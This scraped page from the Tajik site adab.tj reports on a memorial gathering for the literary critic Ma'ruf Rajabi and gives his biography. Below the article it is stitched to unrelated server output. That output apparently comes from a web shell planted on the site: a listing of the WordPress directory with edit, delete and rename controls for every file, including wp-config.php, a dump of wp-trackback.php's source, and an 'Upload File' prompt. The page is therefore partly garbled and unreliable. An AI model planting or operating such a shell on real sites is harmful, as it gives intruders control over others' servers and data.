36.2 C
Душанбе

Ёдкард аз мунтақид Маъруф Раҷабӣ

Рӯзи 14-уми феврал дар толори хурди Иттифоқи нависандагони Тоҷикистон маҳфили ёдкарди мунтақиди равоншон Маъруф Раҷабӣ баргузор шуд.

Ин маҳфилро, ки бо ширкати адибону пажуҳишгарон сурат гирифт, Равшан Махсумзод, муовини раиси ИНТ ифтитоҳ карда, аз коркардҳои пажуҳишии Раҷабӣ ёдоварӣ кард.

Дар идома профессор Шамсиддин Солеҳ бо ироаи гузориши муфассал таъкид кард, ки рӯйкарди Маъруф Раҷабӣ ба адабиёти ҷадидия тоза ва дақиқназарона буд. Номбурда раҳкушову ташаббускори таҳқиқи адабиёти аҳди шуравӣ буд.

Профессор Абдунабӣ Сатторзода аз ошноии худ бо Маъруф Раҷабӣ хотирнишон шуда, гуфт: “Маъруфхоҷа Раҷабӣ ҳар проблемаро то умқаш меомӯхт ва таҳқиқ мекард. Худобиёмурз як давраи мушкил дар адабиётшиносиро ба баррасӣ гирифтааст”.

Адабиётшинос Абдураҳмон Абдуманнон тайи суханронии худ иброз дошт, ки Маъруф Раҷабӣ инсони зирак ва борикбин буд, ки дар натиҷаи кӯшишу талош ба шахсияти илмӣ табдил шуд. Ҳамчунин дар ташаккули шахсияти ӯ ҳамнишинӣ бо академик Муҳаммадҷон Шакурӣ асару таъсир гузоштааст.

– Коре, ки Маъруф Раҷабӣ анҷом дод, оғози кор дар адабиётшиносист, ки бояд идома кунад. Хидмати ӯ маҳз дар ҳамин аст, – хулоса кард Абдураҳмон Абдуманнон.

Умар Сафар, устоди Донишгоҳи миллии Тоҷикистон пешниҳод дод, ки ба хотири идомаи кори равоншод Маъруф Раҷабӣ боиста аст ҷавононеро, ки мисли вай метавонанд шеваи таҳқиқро дигар кунанд, кашф ва ба таҳқиқ омода кард.

Ба назари ӯ, ин рӯзҳо шеъру наср нақд мешаванд, аммо нақде, ки моҳияти эҷодро рӯшан кунад, камшумор аст.

Бояд гуфт, ки Маъруф Раҷабӣ 14-уми феврали соли 1955 дар шаҳри Кӯлоб ба ҷаҳон омадааст. Номбурда донишомӯхтаи риштаи суханшиносии Донишкадаи давлатии омӯзгории Кӯлоб буд. Ӯ солҳои 1984-2000 мудири шуъбаи адабиёти Пажуҳишкадаи забон ва адабиёти ба номи Рӯдакии Фарҳангистони илмҳои Тоҷикистон буд. Дар мавзуъи рушду камоли насри муосири тоҷикӣ камобеш 100 мақола чоп кардааст. Бештар осори устодон Садриддин Айнӣ, Ҷалол Икромӣ, Сотим Улуғзода, Расул Ҳодизода, Юсуф Акобиров ва Ӯрун Кӯҳзодро ба баррасӣ гирифтааст. Маъруф Раҷабӣ доктори илми филология ва барандаи Ҷоизаи Садриддин Айнӣ дар соли 1999 буд.

- Таблиғ -spot_img

Быть в курсе

Подпишитесь на обновления материалов сайта adab.tj на ваш электронный ящик.

- Таблиғ -spot_img

Хабарҳои охир

Акси гӯё

Бахшҳо

Current Dir: /var/www/adab.tj/html/

[FILE] .htaccess [ edit | delete | rename ]
[FILE] index.php [ edit | delete | rename ]
[FILE] license.txt [ edit | delete | rename ]
[FILE] readme.html [ edit | delete | rename ]
[FILE] wordpress-6.7.1-ru_RU.zip [ edit | delete | rename ]
[FILE] wp-activate.php [ edit | delete | rename ]
[DIR]  wp-admin [ delete | rename ]
[FILE] wp-blog-header.php [ edit | delete | rename ]
[FILE] wp-comments-post.php [ edit | delete | rename ]
[FILE] wp-config-sample.php [ edit | delete | rename ]
[FILE] wp-config.php [ edit | delete | rename ]
[DIR]  wp-content [ delete | rename ]
[FILE] wp-cron.php [ edit | delete | rename ]
[DIR]  wp-includes [ delete | rename ]
[FILE] wp-links-opml.php [ edit | delete | rename ]
[FILE] wp-load.php [ edit | delete | rename ]
[FILE] wp-login.php [ edit | delete | rename ]
[FILE] wp-mail.php [ edit | delete | rename ]
[FILE] wp-settings.php [ edit | delete | rename ]
[FILE] wp-signup.php [ edit | delete | rename ]
[FILE] wp-trackback.php [ edit | delete | rename ]
[DIR]  www [ delete | rename ]
[FILE] xmlrpc.php [ edit | delete | rename ]

Viewing: /var/www/adab.tj/html/wp-trackback.php

<?php
/**
 * Handle Trackbacks and Pingbacks Sent to WordPress
 *
 * @since 0.71
 *
 * @package WordPress
 * @subpackage Trackbacks
 */

if ( empty( $wp ) ) {
	require_once __DIR__ . '/wp-load.php';
	wp( array( 'tb' => '1' ) );
}

// Always run as an unauthenticated user.
wp_set_current_user( 0 );

/**
 * Response to a trackback.
 *
 * Responds with an error or success XML message.
 *
 * @since 0.71
 *
 * @param int|bool $error         Whether there was an error.
 *                                Default '0'. Accepts '0' or '1', true or false.
 * @param string   $error_message Error message if an error occurred. Default empty string.
 */
function trackback_response( $error = 0, $error_message = '' ) {
	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );

	if ( $error ) {
		echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
		echo "<response>\n";
		echo "<error>1</error>\n";
		echo "<message>$error_message</message>\n";
		echo '</response>';
		die();
	} else {
		echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
		echo "<response>\n";
		echo "<error>0</error>\n";
		echo '</response>';
	}
}

if ( ! isset( $_GET['tb_id'] ) || ! $_GET['tb_id'] ) {
	$post_id = explode( '/', $_SERVER['REQUEST_URI'] );
	$post_id = (int) $post_id[ count( $post_id ) - 1 ];
}

$trackback_url = isset( $_POST['url'] ) ? $_POST['url'] : '';
$charset       = isset( $_POST['charset'] ) ? $_POST['charset'] : '';

// These three are stripslashed here so they can be properly escaped after mb_convert_encoding().
$title     = isset( $_POST['title'] ) ? wp_unslash( $_POST['title'] ) : '';
$excerpt   = isset( $_POST['excerpt'] ) ? wp_unslash( $_POST['excerpt'] ) : '';
$blog_name = isset( $_POST['blog_name'] ) ? wp_unslash( $_POST['blog_name'] ) : '';

if ( $charset ) {
	$charset = str_replace( array( ',', ' ' ), '', strtoupper( trim( $charset ) ) );

	// Validate the specified "sender" charset is available on the receiving site.
	if ( function_exists( 'mb_list_encodings' ) && ! in_array( $charset, mb_list_encodings(), true ) ) {
		$charset = '';
	}
}

if ( ! $charset ) {
	$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';
}

// No valid uses for UTF-7.
if ( str_contains( $charset, 'UTF-7' ) ) {
	die;
}

// For international trackbacks.
if ( function_exists( 'mb_convert_encoding' ) ) {
	$title     = mb_convert_encoding( $title, get_option( 'blog_charset' ), $charset );
	$excerpt   = mb_convert_encoding( $excerpt, get_option( 'blog_charset' ), $charset );
	$blog_name = mb_convert_encoding( $blog_name, get_option( 'blog_charset' ), $charset );
}

// Escape values to use in the trackback.
$title     = wp_slash( $title );
$excerpt   = wp_slash( $excerpt );
$blog_name = wp_slash( $blog_name );

if ( is_single() || is_page() ) {
	$post_id = $posts[0]->ID;
}

if ( ! isset( $post_id ) || ! (int) $post_id ) {
	trackback_response( 1, __( 'I really need an ID for this to work.' ) );
}

if ( empty( $title ) && empty( $trackback_url ) && empty( $blog_name ) ) {
	// If it doesn't look like a trackback at all.
	wp_redirect( get_permalink( $post_id ) );
	exit;
}

if ( ! empty( $trackback_url ) && ! empty( $title ) ) {
	/**
	 * Fires before the trackback is added to a post.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $post_id       Post ID related to the trackback.
	 * @param string $trackback_url Trackback URL.
	 * @param string $charset       Character set.
	 * @param string $title         Trackback title.
	 * @param string $excerpt       Trackback excerpt.
	 * @param string $blog_name     Site name.
	 */
	do_action( 'pre_trackback_post', $post_id, $trackback_url, $charset, $title, $excerpt, $blog_name );

	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );

	if ( ! pings_open( $post_id ) ) {
		trackback_response( 1, __( 'Sorry, trackbacks are closed for this item.' ) );
	}

	$title   = wp_html_excerpt( $title, 250, '&#8230;' );
	$excerpt = wp_html_excerpt( $excerpt, 252, '&#8230;' );

	$comment_post_id      = (int) $post_id;
	$comment_author       = $blog_name;
	$comment_author_email = '';
	$comment_author_url   = $trackback_url;
	$comment_content      = "<strong>$title</strong>\n\n$excerpt";
	$comment_type         = 'trackback';

	$dupe = $wpdb->get_results(
		$wpdb->prepare(
			"SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s",
			$comment_post_id,
			$comment_author_url
		)
	);

	if ( $dupe ) {
		trackback_response( 1, __( 'There is already a ping from that URL for this post.' ) );
	}

	$commentdata = array(
		'comment_post_ID' => $comment_post_id,
	);

	$commentdata += compact(
		'comment_author',
		'comment_author_email',
		'comment_author_url',
		'comment_content',
		'comment_type'
	);

	$result = wp_new_comment( $commentdata );

	if ( is_wp_error( $result ) ) {
		trackback_response( 1, $result->get_error_message() );
	}

	$trackback_id = $wpdb->insert_id;

	/**
	 * Fires after a trackback is added to a post.
	 *
	 * @since 1.2.0
	 *
	 * @param int $trackback_id Trackback ID.
	 */
	do_action( 'trackback_post', $trackback_id );

	trackback_response( 0 );
}

Upload File: